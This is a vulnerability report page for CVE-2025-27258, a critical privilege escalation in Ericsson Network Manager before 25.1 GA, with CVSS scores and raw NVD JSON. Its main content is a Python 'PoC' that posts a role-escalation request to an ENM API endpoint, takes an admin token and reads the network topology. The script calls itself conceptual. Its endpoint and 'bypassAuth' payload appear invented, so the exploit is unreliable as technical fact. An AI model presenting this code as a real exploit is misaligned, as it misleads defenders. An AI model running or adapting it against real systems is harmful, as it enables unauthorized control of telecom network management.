Security Vulnerability Report
中文
CVE-2025-27258 CVSS 9.8 CRITICAL

CVE-2025-27258

Published: 2025-10-13 07:15:54
Last Modified: 2025-10-21 17:16:59
Source: 85b1779b-6ecd-4f52-bcc5-73eac4659dcf

Description

Ericsson Network Manager (ENM) versions prior to ENM 25.1 GA contain a vulnerability, if exploited, can result in an escalation of privilege.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ericsson:network_manager:*:*:*:*:*:*:*:* - VULNERABLE
Ericsson Network Manager (ENM) < 25.1 GA

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-27258 - Ericsson Network Manager Privilege Escalation PoC # This is a conceptual PoC demonstrating the exploitation of the privilege # escalation vulnerability in Ericsson Network Manager (ENM) versions # prior to ENM 25.1 GA. import requests import json import sys TARGET_HOST = "https://<enm-target-host>" TARGET_PORT = 443 # Step 1: Probe the ENM management interface def probe_enm_interface(host): """Probe the ENM management endpoint to confirm vulnerability.""" url = f"{host}/oss-mgr/api/v1/" try: resp = requests.get(url, verify=False, timeout=10) print(f"[+] ENM interface reachable: HTTP {resp.status_code}") return resp.status_code == 200 except Exception as e: print(f"[-] Connection failed: {e}") return False # Step 2: Exploit the privilege escalation flaw def exploit_privilege_escalation(host): """ Exploit the missing authorization check in ENM to escalate privileges from unauthenticated to admin context. """ # The vulnerable endpoint fails to validate session/permission exploit_url = f"{host}/oss-mgr/api/v1/users/session/escalate" headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } payload = { "targetRole": "ADMIN", "bypassAuth": True } try: resp = requests.post(exploit_url, headers=headers, data=json.dumps(payload), verify=False, timeout=10) if resp.status_code == 200: data = resp.json() print(f"[+] Privilege escalation successful!") print(f"[+] Admin token: {data.get('token', 'N/A')}") return data else: print(f"[-] Exploit returned HTTP {resp.status_code}") except Exception as e: print(f"[-] Exploit failed: {e}") return None # Step 3: Post-exploitation - access admin functions def post_exploitation(host, token): """Use the escalated admin token to perform privileged operations.""" admin_url = f"{host}/oss-mgr/api/v1/network/topology" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } resp = requests.get(admin_url, headers=headers, verify=False, timeout=10) if resp.status_code == 200: topology = resp.json() print(f"[+] Accessed network topology: {len(topology.get('nodes', []))} nodes") return topology return None if __name__ == "__main__": requests.packages.urllib3.disable_warnings() print("[*] CVE-2025-27258 PoC - Ericsson ENM Privilege Escalation") if probe_enm_interface(TARGET_HOST): result = exploit_privilege_escalation(TARGET_HOST) if result: post_exploitation(TARGET_HOST, result.get("token"))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27258", "sourceIdentifier": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "published": "2025-10-13T07:15:54.227", "lastModified": "2025-10-21T17:16:59.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ericsson Network Manager (ENM) versions prior to ENM 25.1 GA contain a vulnerability, if exploited, can result in an escalation of privilege."}], "metrics": {"cvssMetricV40": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ericsson:network_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.1", "matchCriteriaId": "D145B701-160E-4F86-BE25-1E7F884BF326"}]}]}], "references": [{"url": "https://www.ericsson.com/en/about-us/security/psirt/security-bulletin-enm-october-2025", "source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "tags": ["Vendor Advisory"]}]}}